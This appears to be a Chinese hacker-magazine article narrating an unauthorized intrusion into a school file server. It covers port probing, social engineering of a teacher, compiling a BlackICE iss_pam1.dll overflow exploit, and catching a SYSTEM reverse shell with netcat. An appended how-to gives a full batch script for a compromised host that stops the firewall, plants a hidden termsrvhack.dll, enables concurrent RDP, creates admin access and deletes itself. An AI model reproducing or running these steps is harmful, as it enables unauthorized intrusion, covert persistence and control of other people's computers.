《一次意外的入侵经历》

文章首发于《黑客X档案》杂志 转载请注意版权

1、 事出有因
最近学校新上了一台文件服务器,用于校园网内教师交换教案和资料共享之用。服务器正好放在我实验室隔壁,隔着玻璃就能看到。(可惜啊!可望不可及:-( )通过我多方打探,大体了解了服务器的网络设置,关键就在于服务器有两块网卡,一块居然和我们实验室相连(一开始不了解是为什么,事后才知道为了便于实验室的管理员远程管理!)一块与学校主干网相连。知道了这些手就痒痒了,更何况负责服务器安全配置的老师说他把机器配置得很无敌了!(汗!~这么具有挑战性啊~)

2、 初试身手

由于我本身就在实验室,所以当然用服务器实验室的那段ip最方便了,因此以下我说的ip都是指服务器和实验室同网段的ip。很容易获得了文件服务器的ip 为192.168.203.2,我的机器的ip为192.168.203.16。很自然地ping了一下,结果如下:
K:\mfm>ping 192.168.203.2

Pinging 192.168.203.2 with 32 bytes of data:

Reply from 192.168.203.2: bytes=32 time<10ms TTL=128 Reply from 192.168.203.2: bytes=32 time<10ms TTL=128 Reply from 192.168.203.2: bytes=32 time<10ms TTL=128 Reply from 192.168.203.2: bytes=32 time<10ms TTL=128 居然可以ping得通!(难道没装防火墙?也许那个老师自信把所有漏洞都补上了,难道不怕我DDOS它?:-))。还是谨慎点好,我用了一贯测试防火墙的方法做进一步的检测在cmd下输入telnet 192.168.203.2 54321 大约经过了10几秒左右,出现下面的提示: K:\mfm>telnet 192.168.203.2 54321
正在连接到192.168.203.2...无法打开到主机的连接 在端口 54321 : 连接失败

我晕,根据经验肯定是有防火墙的!其实这个判断原理是很简单,你用telnet到目标主机的任意不存在端口,如果停留时间比较长后才出现连接不上的提示,那么几乎可以肯定对方装有防火墙了(或是其它包过滤设备)。但是有点奇怪,既然是防火墙为什么要允许ping呢?。不管它了,既然有了防火墙,那么先猜一下它可能开的端口吧。既然是文件服务器,估计ftp得开吧。连一下试试,如下:
 ftp: connect :连接超时

我倒。。。ftp端口也被屏蔽!不是文件服务器嘛。。不用ftp难道用……共享?!!不至于吧,这也太……现在只有两种可能,要么ftp端口被改了,这样我得进行大范围的端口扫描(关键会留下好多的扫描记录撒!~~)另一种可能就是服务器没有使用ftp来上传管理文件而是采用的共享,我选择了第二种,因为第一种不太现实。既然是用共享的话,那么139端口应该是开放的吧?
好我试一下,这里要用到一个工具hping,这个工具可以自己定制数据包,使用方法如下:
方法如下:
K:\mfm>hping
Compiled by Anarchy@hk20.com

Usage: hping [options] host

-h Show this help menu 显示帮助菜单
-v Show version number 显示软件版本号
-c Stop after count response packets. 收到多少个响应包后停止发包
-i Interval in X (seconds) or uX (micro seconds) 发包间隔时间以秒或毫秒
-M Set sequence number 设置包序列号
-a Spoof source address 伪造源IP地址
-p Destination port -p 目的端口
-s Source port 源端口
-R Set RST tcp flag 设置RST位
-S Set SYN tcp flag 设置SYN位
-A Set ACK tcp flag 设置ACK位
-F Set FIN tcp flag 设置FIN位
-P Set PSH tcp flag 设置PSH位
-U Set URG tcp flag 设置URG位

后面的中文是我加的说明,相信大家一看就知道怎么用了。说了用法,我们来看看如何操作了,在cmd下输入:hping -S -p 139 -c 3 192.168.203.2
意思向192.168.203.2的139端口发送SYN数据包(就是请求连接的包)响应3次就停止发包,结果如图一。

哈哈!有回应了,说明我的猜测没有错!果然是用了共享。下面该怎么办呢?暴力破解?我可没那闲工夫!怪不得那个老师如此得意啊,原来只开了个139,其它的要么关闭了,要么被防火墙给屏蔽了!这么少的入口,当然不可能了!我几乎要放弃了,但是我又很不情愿,已经分析到了这一步。。。无奈之中无意间打了如下命令:nbtstat -A 192.168.203.2
结果却让我大大的吃惊,
如图二!

居然可以netbios查询!!我一下子来了兴致,因为我以前研究过很多防火墙,大部分防火墙把安全等级调到高级后,即使你允许139等netbios端口开放那么也是无法进行netbios查询的!wait!好象只有最近研究一款防火墙的溢出漏洞时发现这款防火墙默认是允许netbios查询的!!那就是——BlackICE SERVER PROTECTION!!其实这真是巧合,我前天刚从天天安全网down的blackice,然后在securiteam.com看到的溢出代码和漏洞分析报告,真没想到这个文件服务器……等等,我还是最好再确认一下吧!可是我该如何进一步确认呢?从网上的漏洞分析报告来看,该漏洞是由于ISS产品中的协议分析模块(iis_pam1.dll)在处理ICQ v5协议中的SRV_META_USER命令字段的时候由于未能检测该字段的长度从而引起缓冲区溢出的。Blackvice没有开什么特定的管理端口,没有非常明显的特征,所以单凭技术是非常难以判断的……那么还是另辟新径吧!
三、无所不用其极
无敌(哭丧着脸):老师,救命啊!!!
老师:啥事啊?
无敌:最近机房里老是有人在莫名奇妙的扫描我设的网关啊!我都烦死了!
老师:这还不简单?垒个墙不就行了?
无敌:我……给您说实话吧,我对这方面真是一知半解的,我知道老师您在这方面很有研究,给条明路吧!
老师:我也只是多学了点而已(我汗。。这么经不起。。)你去网上找那个黑冰(就是blackice)服务器版的装上就可以了!
无敌:啊?没听说过啊!好用吗?
老师:当然好用了,我那服务器上就装的啊!(嘎嘎!~~~我差点跳起来)
无敌:谢谢,老师您真是高手!我马上去下去!再见!

社会工程学,任何时候任何地方,与技术相结合会有意想不到的结果。既然确认了目标系统的防火墙为blackice那么我们再看一下该漏洞涉及的blackice的版本吧,如下:

ISS RealSecure Network Sensor 7.0 XPU 22.9
ISS RealSecure Network Sensor 7.0 XPU 22.11
ISS RealSecure Network Sensor 7.0 XPU 22.10
ISS RealSecure Network Sensor 7.0 XPU 20.15
ISS RealSecure Server Sensor 7.0 XPU 22.9
ISS RealSecure Server Sensor 7.0 XPU 22.11
ISS RealSecure Server Sensor 7.0 XPU 22.10
ISS RealSecure Server Sensor 7.0 XPU 20.19
ISS RealSecure Server Sensor 7.0 XPU 20.18
ISS RealSecure Server Sensor 7.0 XPU 20.16
ISS BlackIce Server Protection 3.6 ccf
ISS BlackIce Server Protection 3.6 ccb
ISS BlackIce Server Protection 3.6 cbz
ISS BlackIce Server Protection 3.5 cdf
ISS BlackICE Agent for Server 3.6 ecf
ISS BlackICE Agent for Server 3.6 ecb
ISS BlackICE Agent for Server 3.6 eca
ISS BlackICE PC Protection 3.6 ccf
ISS BlackICE PC Protection 3.6 ccd
ISS BlackICE PC Protection 3.6 ccb
ISS BlackICE PC Protection 3.6 cbz
ISS BlackICE PC Protection 3.6 cbr
ISS Proventia A Series XPU 22.9
ISS Proventia A Series XPU 22.11
ISS Proventia A Series XPU 22.10
ISS Proventia A Series XPU 20.15
ISS Proventia G Series XPU 22.9
ISS Proventia G Series XPU 22.3
ISS Proventia G Series XPU 22.11
ISS Proventia G Series XPU 22.10
ISS Proventia M Series XPU 1.9
ISS Proventia M Series XPU 1.8
ISS Proventia M Series XPU 1.7
ISS Proventia M Series XPU 1.3

看到了吧,这么多东东都受那个漏洞的影响,不怕他不中!马上找出exploit来,该exploit是linux下编写的,要想在win下我们就要用cygwin来搞定它了!先把exploit复制到cygwin的home目录里文件名为blackhit.c,然后打开cygwin我们编译。
如图三。


OK!编译成功了,把cygwin目录下的bin目录里的cgywin1.dll和你编译好的blackhit.exe一起复制到一个目录里。准备工作做完了,我们看看手中的武器的使用方法,如下:
K:\mfm>blackhit
557iss_pam_exp - RealSecure / Blackice iss_pam1.dll remote overflow exploit
- Sam
compiled by 无敌最寂寞@ringz.org

blackhit

参数不多,blackhit 目标主机的ip 本地监听的ip 本地监听的端口。
OK!激动人心的时刻到了,再打开一个cmd,输入nc -v -l -p 518。然后另一个cmd输入blackhit 192.168.203.2 192.168.203.16 518。运行结果

如图四。

嘎嘎!!得到shell了,看看是什么权限哦!

如图五!

果然是system权限!真是说不出的心情,就这么意外的得到了权限,成功的入侵目标主机!

事情到此也就结束了,跟那个老师坦白后,我们两个都很尴尬,最后还是一起去喝了一顿酒!(不打不相识啊!^_^)

事后我又在实验室重新做了一次溢出测试,结果发现当溢出成功后,目标系统没有任何反应,但是防火墙就跟僵死在那,你也可以照常打开,设置防火墙。但是防火墙不会再记录任何入侵日志了!而且你只能重新启动机器才能恢复防火墙,我尝试停止防火墙的服务然后再启动服务,结果在启动的时候提示说“服务的实例已在运行中”说明在溢出的时候造成了服务进程blackd.exe假死的现象。所以只有重新启动才能恢复正常。

此次经历让我对防火墙产生了浓厚的兴趣,又接二连三的测试了不少防火墙的安全性,其中在测试天网防火墙的时候发现,尽管防火墙处于最高安全级别,但是利用hping一样可以绕过防火墙ping通后面的主机,具体方法就是将发送的数据包的ACK位或者FIN为置位,这样防火墙就放行了!由于此类问题不在本文的讨论范围内了,有兴趣的读者可以自行实验试一下!

4、 后记
写完这篇稿子我总算可以松一口气了,关于这个漏洞我再补充几句,其实类似这样的漏洞有很多比如想wsftp等的溢出漏洞,此类漏洞是可遇不可求的,你如果非要用这个漏洞去找寻什么肉鸡的话,那么我劝你还是别大海捞针了!
同时要说明的是ISS后续推出的ccg和cch版本的blackcie已经补上了此漏洞,请使用该防火墙的朋友赶紧升级吧!

让XP3389支持多人登陆(唔需重启)

信息来源:野球小子'BLOG 今天学习研究了一下午的XP 多用户登陆,这是网上找来的资料:

第一步:首先是在Windows XP上安装SP2正式版,按照常规方式安装即可,这里不再赘述。

第二步:准备一份版本较早的SP2终端服务器软件(据说从Build 2082开始该功能就被禁止了,所以最好使用之前版本),中文SP2测试版较难找到,我用的是英文版Build 2055,运行之后没有发现任何问题。你可以从http://www.msfn.org/board/index.php?s=8 ... c99733154ae685f&act
=Attach&type=post&id=161513下载Build 2055的终端服务器执行文件TermSrv.DLL。从这个链接下载来的是一个扩展名为.DL_的文件,你可以把它的扩展名改成ZIP文件,然后用WinRAR解开它。

第三步:接下来,以安全模式启动Windows XP,如果有多个操作系统,可以启动另一个能访问Windows XP系统分区的系统(除非安装了第三方工具软件,否则Windows 98不能访问NTFS分区,因此Windows 98可能没用)。然后,把Windows XP里面SP2正式版的所有TermSrv.DLL备份一下,在所有TermSrv.DLL文件出现的位置,用Build 2055版本的TermSrv.DLL覆盖。通常,TermSrv.DLL至少出现在二个位置,分别是:\Windows\system32,\Windows\system32\dllcache。凡是原来有TermSrv.DLL的地方,就用Build 2055版本的TermSrv.DLL覆盖。

第四步:以正常模式启动Windows XP,如果系统的文件保护功能提示说TermSrv.DLL文件已被修改,并询问是否要复原,选择否。

第五步:最后还要修改一下注册表,增加终端服务器的多用户许可。鉴于修改注册表比较麻烦而且容易出错,你可以用下面的批命令修改注册表:

@echo off
setlocal
set regkey="HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Licensing Core"
reg add %regkey% /v EnableConcurrentSessions /T REG_DWORD /D 1 /f
endlocal

将上述内容保存为一个批命令文件,如AA.BAT,双击执行一下就可以了。

我不推荐这种做法 ,太烦锁了,而且还要让系统重起过。我们可以写一个批处理文件使系统不用重起就实现XP多用户登陆,首先我们先来了解一个对注册表操作的命令参数:

REG ADD KeyName [/v ValueName | /ve] [/t Type] [/s Separator] [/d Data] [/f]

KeyName [\\Machine\]FullKey
Machine 远程机器名 - 忽略默认到当前机器。远程机器上
只有 HKLM 和 HKU。
FullKey ROOTKEY\SubKey
ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]
SubKey 所选 ROOTKEY 下注册表项的完整名。

/v 所选项之下要添加的值名。

/ve 为注册表项添加空白值名(默认)。

/t RegKey 数据类型
[ REG_SZ | REG_MULTI_SZ | REG_EXPAND_SZ |
REG_DWORD | REG_BINARY | REG_NONE ]
如果忽略,则采用 REG_SZ。

/s 指定一个在 REG_MULTI_SZ 数据字符串中用作分隔符的字符
如果忽略,则将 "\0" 用作分隔符。

/d 要分配给添加的注册表 ValueName 的数据。

/f 不用提示就强行覆盖现有注册表项。

例如:

REG ADD \\ABC\HKLM\Software\MyCo
添加远程机器 ABC 上的一个注册表项 HKLM\Software\MyCo

REG ADD HKLM\Software\MyCo /v Data /t REG_BINARY /d fe340ead
添加一个值(名称: Data,类型: REG_BINARY,数据: fe340ead)

REG ADD HKLM\Software\MyCo /v MRU /t REG_MULTI_SZ /d fax\0mail
添加一个值(名称: MRU,类型: REG_MUTLI_SZ,数据: fax\0mail\0\0)

REG ADD HKLM\Software\MyCo /v Path /t REG_EXPAND_SZ /d ^%systemroot^%
添加一个值(名称: Path,类型: REG_EXPAND_SZ,数据: %systemroot%)
注意: 在扩充字符串中使用插入符号 ( ^ )

为了让系统不重起,我们可以用shutdown -a 这个命令。
根据上面找来的资料,我们可以编写一个批处理,实现XP系统多用户登陆而又不用重起系统。
代码如下:

@echo off
@net stop sharedaccess
@ntsd -c q -p "pid"
@reg add HKLM\SOFTWARE\Microsoft\Windows" "NT\CurrentVersion\Winlogon /v KeepRASConnections /t REG_SZ /d 1 /f
@reg add HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
@reg add HKLM\SYSTEM\CurrentControlSet\control\terminal" "server\Licensing" "Core /v EnableConcurrentSessions /t REG_DWORD /d 00000001 /f
@reg add HKLM\SYSTEM\CurrentControlSet\Services\TermService\Parameters /v serviceDll /t REG_EXPAND_SZ /d %SystemRoot%\system32\termsrvhack.dll /f
@copy c:\termsrvhack.dll c:\windows\system32\dllcache\termsrvhack.dll
@attrib +h +s +r c:\windows\system32\dllcache\termsrvhack.dll
@copy c:\termsrvhack.dll c:\windows\system32\termsrvhack.dll
@attrib +h +s +r c:\windows\system32\termsrvhack.dll
@shutdown -a
@del c:\termsrvhack.dll
@net start termservice
@del c:\3389.bat

其中“pid"是要替换成TermService服务的PID号,可以用命令tasklist/svc命令得到。当然win2000和以下系统是没有tasklist命令的。
具体的操作方法是
先要得到对方的一个SHELL,然后在shell下用第三方软件打开终端服务,先不要改变默认的3389端口,不然要重起后才登陆,再建一个或克隆一个超级管理员用户。
接下来把下载好的termsrvhack.dll和上面的批处理传到对方的C盘根目录下,然后在shell下运行此批处理。提示成功!
最后打开登陆器,3389终端登陆!
说明一下你登陆进去后在里面的操作和那台电脑的主人操作是互不影响的,他玩他的,你玩你的,呵呵,爽伐?!